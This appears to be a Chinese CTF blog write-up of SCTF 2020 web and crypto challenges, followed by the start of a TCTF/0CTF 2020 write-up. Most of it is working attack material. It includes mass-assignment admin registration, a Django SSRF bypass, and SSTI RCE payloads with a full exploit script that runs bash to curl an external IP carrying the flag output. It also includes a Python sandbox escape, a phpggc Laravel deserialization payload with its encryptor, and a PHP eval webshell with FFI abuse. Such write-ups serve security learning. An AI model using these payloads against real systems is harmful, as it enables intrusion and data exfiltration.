class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">root@8eb21982749e:/app/web1<span class="comment"># python3 manage.py createsuperuser --username=admin --email=admin@qq.com</span></span><br><span class="line">Password:</span><br><span class="line">Password (again):</span><br><span class="line">Superuser created successfully.</span><br><span class="line">MariaDB [django]&gt; select * from auth_user;</span><br><span class="line">+----+--------------------------------------------------------------------------------+----------------------------+--------------+----------+------------+-----------+--------------+----------+-----------+----------------------------+</span><br><span class="line">| id | password                                                                       | last_login                 | is_superuser | username | first_name | last_name | email        | is_staff | is_active | date_joined                |</span><br><span class="line">+----+--------------------------------------------------------------------------------+----------------------------+--------------+----------+------------+-----------+--------------+----------+-----------+----------------------------+</span><br><span class="line">|  1 | pbkdf2_sha256<span class="variable">$100000</span><span class="variable">$3xAODJylgYga</span><span class="variable">$G9hPEnmyXyCpNV9QUl16746Ga01bEXODvtK7XkflG80</span>= | 2020-07-05 13:14:38.941645 |            0 | gml      |            |           |              |        0 |         1 | 2020-07-05 13:10:43.134720 |</span><br><span class="line">|  3 | pbkdf2_sha256<span class="variable">$100000</span><span class="variable">$BnspmrIUg8nT</span><span class="variable">$vgQIE6</span>+vsVv/v0lqdp42coSGikFkPKrFpD1++IdJv0k= | NULL                       |            1 | admin    |            |           | admin@qq.com |        1 |         1 | 2020-07-07 02:50:19.953829 |</span><br></pre></td></tr></table></figure><p>照着这些，传进去多个 fields：</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/reg/</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: 39.104.19.182</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0</span><br><span class="line"><span class="attribute">Accept</span>: application/json, text/plain, */*</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line"><span class="attribute">Content-Type</span>: application/json;charset=utf-8</span><br><span class="line"><span class="attribute">Referer</span>: http://39.104.19.182/reg/</span><br><span class="line"><span class="attribute">Content-Length</span>: 71</span><br><span class="line"><span class="attribute">Cookie</span>: sessionid=2clv87e4e3id9dxtsm86yn2x58vusr34; csrftoken=LaC7AyOPVLKhhZ6ZP3NNiBcSjTa7f27SQ22vpuWyWRtI6LqWYrwLkFcv8EDeL7PY</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"></span><br><span class="line">&#123;&quot;username&quot;:&quot;gmlgml&quot;,&quot;password&quot;:&quot;gmlgml&quot;,&quot;is_superuser&quot;:1,&quot;is_staff&quot;:1&#125;</span><br></pre></td></tr></table></figure><p>这样就注册了个 admin 的账户，然后/admin 登陆：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-9d636832635b6f82.png" alt="image.png"></p><p>可以拿到 token。</p><h3 id="SSRF-Whit-list-bypass"><a href="#SSRF-Whit-list-bypass" class="headerlink" title="SSRF Whit_list bypass"></a>SSRF Whit_list bypass</h3><p>过滤的很死：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ssrf_check</span>(<span class="params">url ,white_list</span>):</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(white_list)):</span><br><span class="line">        <span class="keyword">if</span> url.startswith(<span class="string">&quot;http://&quot;</span> + white_list[i] + <span class="string">&quot;/&quot;</span>):</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span></span><br></pre></td></tr></table></figure><p>Django==2.0.7 的版本，有个 <a href="https://xz.aliyun.com/t/3302">CVE-2018-14574</a>，可以 bypass 这个过滤。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;39.104.19.182&#x2F;&#x2F;127.0.0.1:8000&#x2F;rpc?</span><br></pre></td></tr></table></figure><p>可以请求 rpc了。</p><h3 id="SSTI-bypass"><a href="#SSTI-bypass" class="headerlink" title="SSTI bypass"></a>SSTI bypass</h3><p>首先有个 WAF：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">before_request</span>():</span></span><br><span class="line">    data = <span class="built_in">str</span>(request.data)</span><br><span class="line">    log()</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;&#123;&#123;&quot;</span> <span class="keyword">in</span> data <span class="keyword">or</span> <span class="string">&quot;&#125;&#125;&quot;</span> <span class="keyword">in</span> data <span class="keyword">or</span> <span class="string">&quot;&#123;%&quot;</span> <span class="keyword">in</span> data <span class="keyword">or</span> <span class="string">&quot;%&#125;&quot;</span> <span class="keyword">in</span> data:</span><br><span class="line">        abort(<span class="number">401</span>)</span><br></pre></td></tr></table></figure><p>因为是 json，支持 \u 编码，直接编码就可以绕过。这个点在 2018 年 HCTF 的 Kzone 出现过，当时是非预期，用 \u 编码绕过了所有的sql注入的过滤。</p><p>还有个正则：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> re.search(<span class="string">&quot;[a-z]&quot;</span>, num1, re.I) <span class="keyword">or</span> re.search(<span class="string">&quot;[a-z]&quot;</span>, num2, re.I) <span class="keyword">or</span> <span class="keyword">not</span> re.search(<span class="string">&quot;[+\-*/]&quot;</span>, symbols):</span><br><span class="line">        <span class="keyword">return</span> json.dumps(&#123;<span class="string">&quot;code&quot;</span>: <span class="number">-1</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;?&quot;</span>&#125;)</span><br></pre></td></tr></table></figure><p>num1 和 num2 不能出现英文字符。因为这是在解码后了，没法用 json 编码绕过。</p><p>使用 Python 8 进制转义字符绕过：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"> ✘ ⚙  ~  python3</span><br><span class="line">Python <span class="number">3.7</span><span class="number">.4</span> (default, Jul  <span class="number">9</span> <span class="number">2019</span>, <span class="number">18</span>:<span class="number">13</span>:<span class="number">23</span>)</span><br><span class="line">[Clang <span class="number">10.0</span><span class="number">.1</span> (clang<span class="number">-1001.0</span><span class="number">.46</span><span class="number">.4</span>)] on darwin</span><br><span class="line">Type <span class="string">&quot;help&quot;</span>, <span class="string">&quot;copyright&quot;</span>, <span class="string">&quot;credits&quot;</span> <span class="keyword">or</span> <span class="string">&quot;license&quot;</span> <span class="keyword">for</span> more information.</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">&#x27;\123&#x27;</span></span><br><span class="line"><span class="string">&#x27;S&#x27;</span></span><br></pre></td></tr></table></figure><p>但是这种方式仅仅可以渲染出字符，类似使用 <code>.</code>来进行方法调用，比如 os.popen，这种都是无效的，有些可以通过 [‘popen’] 这种引用这种方法进行绕过。</p><p>接下来就是常规 SSTI RCE了，这个题比较奇怪，我明明都构造出了 system 方法，但是执行命令不可以，popen 我用了几种方式也是不行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;&#39;&#39;[&#39;__class__&#39;][&#39;__bases__&#39;][0][&#39;__subclasses__&#39;]()[117][&#39;__init__&#39;][&#39;__globals__&#39;][&#39;popen&#39;](&#39;ls&#39;)&#125;&#125;</span><br></pre></td></tr></table></figure><p>这个payload 还可以，但是将命令换成 <code>pwd</code>就报错了，神奇…</p><p>最后用的 subprocess 中的 Popen，将数据外带，也是各种不行。最后终于调好了个能用的：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123; &#123; &#125;[&#39;__class__&#39;][&#39;__mro__&#39;][1][&#39;__subclasses__&#39;]()[409]([&#39;bash&#39;,&#39;-c&#39;,&#39;curl vps&#x2F;&#96;&#x2F;readflag&#96;&#39;])&#125;&#125;</span><br></pre></td></tr></table></figure><p>我这里测试，加 port 都不行，或者 curl 后面加个 http:// 也会GG，真是玄学。</p><p>exp：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">from</span> urllib <span class="keyword">import</span> quote</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bypass</span>(<span class="params">s</span>):</span></span><br><span class="line">    tmp = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> s:</span><br><span class="line">        <span class="keyword">if</span> c <span class="keyword">in</span> string.ascii_letters:</span><br><span class="line">            tmp += <span class="string">&quot;\%o&quot;</span> % (<span class="built_in">ord</span>(c))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            tmp += c</span><br><span class="line">    tmp = <span class="string">&quot;&quot;</span>.join([<span class="string">&quot;\u00%s&quot;</span> % (c.encode(<span class="string">&quot;hex&quot;</span>)) <span class="keyword">for</span> c <span class="keyword">in</span> tmp])</span><br><span class="line">    <span class="keyword">return</span> tmp</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>(<span class="params">payload</span>):</span></span><br><span class="line">    base_url = <span class="string">&quot;http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&amp;url=http://127.0.0.1:5000/caculator&amp;data=%s&quot;</span></span><br><span class="line">    base_json = <span class="string">&#x27;&#123;&quot;num1&quot;:&quot;%s&quot;,&quot;num2&quot;:&quot;1&quot;,&quot;symbols&quot;:&quot;-&quot;&#125;&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    payload = base_json % bypass(payload)</span><br><span class="line">    <span class="built_in">print</span> json.loads(payload)</span><br><span class="line">    exp = base_url % b64encode(payload)</span><br><span class="line">    session = requests.Session()</span><br><span class="line"></span><br><span class="line">    rawBody = <span class="string">&quot;&#123;\&quot;token\&quot;:\&quot;3ad9af405504233188f694a11ff22115\&quot;,\&quot;url\&quot;:\&quot;%s\&quot;&#125;&quot;</span> % exp</span><br><span class="line">    headers = &#123;<span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;application/json, text/plain, */*&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://39.104.19.182/home/&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/json;charset=utf-8&quot;</span>&#125;</span><br><span class="line">    cookies = &#123;<span class="string">&quot;csrftoken&quot;</span>: <span class="string">&quot;LaC7AyOPVLKhhZ6ZP3NNiBcSjTa7f27SQ22vpuWyWRtI6LqWYrwLkFcv8EDeL7PY&quot;</span>,</span><br><span class="line">               <span class="string">&quot;sessionid&quot;</span>: <span class="string">&quot;dzwa097pfn3fxuk00rfcb3rof2yb7djt&quot;</span>&#125;</span><br><span class="line">    proxies = &#123;<span class="string">&quot;http&quot;</span>: <span class="string">&quot;http://127.0.0.1:8080&quot;</span>&#125;</span><br><span class="line">    response = session.post(<span class="string">&quot;http://39.104.19.182/home/&quot;</span>, data=rawBody, headers=headers, cookies=cookies,</span><br><span class="line">                            proxies=proxies)</span><br><span class="line">    <span class="keyword">return</span> response.content</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="comment"># payload = &quot;&#123;&#123;()[&#x27;__class__&#x27;][&#x27;__bases__&#x27;][0][&#x27;__subclasses__&#x27;]()[93][&#x27;__init__&#x27;][&#x27;__globals__&#x27;][&#x27;sys&#x27;]&#125;&#125;&quot;</span></span><br><span class="line">    <span class="comment"># payload = &quot;&#123;&#123;&#x27;&#x27;[&#x27;__class__&#x27;][&#x27;__bases__&#x27;][0][&#x27;__subclasses__&#x27;]()[117][&#x27;__init__&#x27;][&#x27;__globals__&#x27;][&#x27;popen&#x27;](&#x27;ls&#x27;)&#125;&#125;&quot; ## 可以得到 popen，payload失败</span></span><br><span class="line">    <span class="comment"># payload = &quot;&#123;&#123;&#x27;ac&#x27;[&#x27;__class__&#x27;][&#x27;__mro__&#x27;][1][&#x27;__subclasses__&#x27;]()[226][&#x27;__init__&#x27;][&#x27;__globals__&#x27;][&#x27;os&#x27;][&#x27;system&#x27;]&#125;&#125;&quot; ##可以得到 os，payload失败</span></span><br><span class="line">    payload = <span class="string">&quot;&#123;&#123; &#123; &#125;[&#x27;__class__&#x27;][&#x27;__mro__&#x27;][1][&#x27;__subclasses__&#x27;]()[409]([&#x27;bash&#x27;,&#x27;-c&#x27;,&#x27;curl htt://123.207.149.181/`/readflag`&#x27;])&#125;&#125;&quot;</span></span><br><span class="line">    <span class="built_in">print</span> exp(payload)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Pysandbox"><a href="#Pysandbox" class="headerlink" title="Pysandbox"></a>Pysandbox</h2><p>做题的时候思路总是局限在 Python 绕过括号调用方法，其实这是不行的。。。思路还是太僵硬了。</p><p>可以把 flask static的目录设置成 /，这样就任意下载文件了。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/?POST=%3f</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: 39.104.25.107:10009</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span>: 50</span><br><span class="line"></span><br><span class="line">cmd=app.static_folder=request.args[request.method]</span><br></pre></td></tr></table></figure><p>不能用字符，就凑一个字符串出来。然后访问 /static/app/flag。</p><h2 id="Pysandbox2"><a href="#Pysandbox2" class="headerlink" title="Pysandbox2"></a>Pysandbox2</h2><p>需要 RCE。看了 WP 师傅们的思路都 tql。感觉最骚的是把 ord 函数给改了… 直接把 waf 干了，参考：<a href="https://imagin.vip/?p=1489#pysandbox2">https://imagin.vip/?p=1489#pysandbox2</a>。</p><p><code>__builtins__.__dict__[‘ord’]</code>是我们正常使用的 ord，把这个函数改成一个返回恒定值的，就可以无视 waf 了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__builtins__.__dict__[<span class="string">&#x27;ord&#x27;</span>] = <span class="keyword">lambda</span> args:<span class="number">42</span></span><br></pre></td></tr></table></figure><p>但是过滤了空格和引号，空格可以用 *args 代替。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__builtins__.<span class="built_in">ord</span>=<span class="keyword">lambda</span>*args:<span class="number">42</span></span><br></pre></td></tr></table></figure><p>本地试一下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"> ✘ ⚙  ~  python3</span><br><span class="line">Python 3.7.4 (default, Jul  9 2019, 18:13:23)</span><br><span class="line">[Clang 10.0.1 (clang-1001.0.46.4)] on darwin</span><br><span class="line">Type <span class="string">&quot;help&quot;</span>, <span class="string">&quot;copyright&quot;</span>, <span class="string">&quot;credits&quot;</span> or <span class="string">&quot;license&quot;</span> <span class="keyword">for</span> more information.</span><br><span class="line">&gt;&gt;&gt; __builtins__.ord=lambda*args:42</span><br><span class="line">&gt;&gt;&gt; ord(<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">42</span><br><span class="line">&gt;&gt;&gt; ord(<span class="string">&#x27;b&#x27;</span>)</span><br><span class="line">42</span><br><span class="line">&gt;&gt;&gt;</span><br></pre></td></tr></table></figure><p>然后就可以任意命令执行，反弹shell了。</p><h2 id="bestlanguage"><a href="#bestlanguage" class="headerlink" title="bestlanguage"></a>bestlanguage</h2><p>这个题被非预期了，题目代码根本没用，Larval 版本是 5.5.39，CVE-2018-15133，参考<a href="https://xz.aliyun.com/t/6533，直接打。">https://xz.aliyun.com/t/6533，直接打。</a></p><p>使用 <a href="*https://github.com/ambionics/phpggc*">phpggc</a>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">phpggc   master  php phpggc Laravel/RCE2 <span class="string">&#x27;system&#x27;</span> <span class="string">&#x27;cat /flag&#x27;</span>  -b</span><br><span class="line">Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjk6ImNhdCAvZmxhZyI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6OToiY2F0IC9mbGFnIjt9</span><br></pre></td></tr></table></figure><p>照着加密逻辑，改改：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$plain = base64_decode(<span class="string">&quot;Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjk6ImNhdCAvZmxhZyI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6OToiY2F0IC9mbGFnIjt9&quot;</span>);</span><br><span class="line">$key = base64_decode(<span class="string">&#x27;P5tGTBKV2clEGWCWD7L5fSrhi8sfnX/cmHdqzx/fpVo=&#x27;</span>);</span><br><span class="line">$iv = random_bytes(openssl_cipher_iv_length(<span class="string">&#x27;AES-256-CBC&#x27;</span>));</span><br><span class="line">$value = openssl_encrypt($plain, <span class="string">&#x27;AES-256-CBC&#x27;</span>, $key, <span class="number">0</span>, $iv);</span><br><span class="line">$iv = base64_encode($iv);</span><br><span class="line">$mac = hash_hmac(<span class="string">&#x27;sha256&#x27;</span>, $iv . $value, $key);</span><br><span class="line">$json = json_encode(compact(<span class="string">&#x27;iv&#x27;</span>, <span class="string">&#x27;value&#x27;</span>, <span class="string">&#x27;mac&#x27;</span>));</span><br><span class="line"><span class="keyword">echo</span> base64_encode($json);</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> ⚙  2020 SCTF  php CVE-2018-15133.php</span><br><span class="line">eyJpdiI6IjBKRmRRYWh2TVk2ZzdpRWhmTVVIa3c9PSIsInZhbHVlIjoiakxCTXJvVVNqZ3hKN1F1Q1VSd2gzZWZOSitTMXgzc2RZZDBiTGZlZkdOR2xKOExDWXY3M0E4alZBcnhnQWVTQjg0RmVvRjhVaHJnOFkrSUNMZXdrK1ZaSjVIVmNkbFwvRVRydWU5ajZxU3BuVm02ZFZUVXhuXC9BSmkyY0NGWG8xQkFjaHRycVcxeXowUTdVXC9nYUxvbFl4dlcwTmJGOCtoMktzM2dRWEM1NUgxekVwc2dWOFU3VXFuZUJsbWhKVDRmQjhhZ3F4WlwvVTQ4VGkwbm05c1lyeVRUbTJONFRsWFIxdU5SVFNWRENQeHB5SGcweWZPNmhtSlJCNnRMZVh6bDVnM3lNY0lMdmtaS01vUDlXcE9cL3M0QT09IiwibWFjIjoiYjJkYjcyNDU5NzVlYjlmOWQzNDk5YTgxODk3NzE3ZjI1NmI2YmMzNzI1Y2NjYmZjY2U0MDg1YTRiZDE2OWY1ZSJ9%</span><br></pre></td></tr></table></figure><p><img src="https://upload-images.jianshu.io/upload_images/9223743-37e3a789ee7c49e3.png" alt="image.png"></p><p>预期解在这里：<a href="https://github.com/SycloverSecurity/SCTF2020/tree/master/Web/bestlanguage/Write-up">https://github.com/SycloverSecurity/SCTF2020/tree/master/Web/bestlanguage/Write-up</a></p><h1 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h1><h2 id="RSA"><a href="#RSA" class="headerlink" title="RSA"></a>RSA</h2><p>类似 2019 HITCON Quals Not So Hard RSA，参考：<a href="https://gist.github.com/hellman/383dd8cf6f753fff55b98cf424f2e94e">https://gist.github.com/hellman/383dd8cf6f753fff55b98cf424f2e94e</a>，改改数据跑脚本就行了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"> ⚙  2020 SCTF  sage rsa.sage</span><br><span class="line">Bit sizes:</span><br><span class="line">[888, 888, 889]</span><br><span class="line">[383]</span><br><span class="line">[383, 381, 383]</span><br><span class="line">found d row 0 : d = 13860282398350628680055087179162874305179305701888441908415109881269396959367466997596402959289379090042646293889703</span><br><span class="line">b<span class="string">&#x27;SCTF&#123;673ff064da31c0d7aee56884b01a09&#125;&#x27;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;Syclover 比较良心，比赛结束不久就放出了 docker 与 wp：&lt;a href=&quot;https://github.com/SycloverSecurity/SCTF2020&quot;&gt;https://github.com/SycloverSecurity/SCTF2020&lt;/a&gt;。跟着复现学习一下。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>2020 TCTF/0CTF 部分wp</title>
    <link href="https://igml.top/2020/06/29/2020-TCTF-0CTF/"/>
    <id>https://igml.top/2020/06/29/2020-TCTF-0CTF/</id>
    <published>2020-06-29T09:05:18.000Z</published>
    <updated>2020-07-10T14:15:26.607Z</updated>
    
    <content type="html"><![CDATA[<p>跟着 TD 打了一下 TCTF &amp; 0CTF，基本0输出orz，给 TD 的大佬递 tea。</p><a id="more"></a><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="easyphp"><a href="#easyphp" class="headerlink" title="easyphp"></a>easyphp</h3><p>开局一个webshell，有 open_basedir 与 disable_functions 限制，普通方法都无法绕过。</p><p>可以用 glob + DirectoryIterator 列出根目录：</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: pwnable.org:19260</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span>: 91</span><br><span class="line"></span><br><span class="line">gml=$a=new DirectoryIterator(&quot;glob:///*&quot;);foreach($a as $f)&#123;echo($f-&gt;__toString().&#x27; &#x27;);&#125;;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var </span><br></pre></td></tr></table></figure><p>发现 flag.h 与 flag.so，结合 phpinfo 中开启了 FFI，应该是用 FFI 调用 flag.so 中的方法。</p><p>尝试 FFI load flag.h，可以发现没有报500，说明成功加载。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: pwnable.org:19260</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span>: 39</span><br><span class="line"></span><br><span class="line">gml=$ffi = FFI::load(&quot;/flag.h&quot;);echo 1;</span><br></pre></td></tr></table></figure><p>但是我们无法知道有什么方法，方法名是什么，也读取不了 flag.h，一直卡在这里。队里大佬开始 leak 内存来获取方法名，结果 leak 出了方法名：flag_fUn3t1on_fFi（我也不懂这些知识）。可以参考白泽的脚本：<a href="https://www.4hou.com/posts/p7BQ">https://www.4hou.com/posts/p7BQ</a>。</p><p>然后直接调用就好了：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-05c9d6d459f6ccb8.png" alt="image.png"></p><p>发现很多队伍做出来了… open_basedir 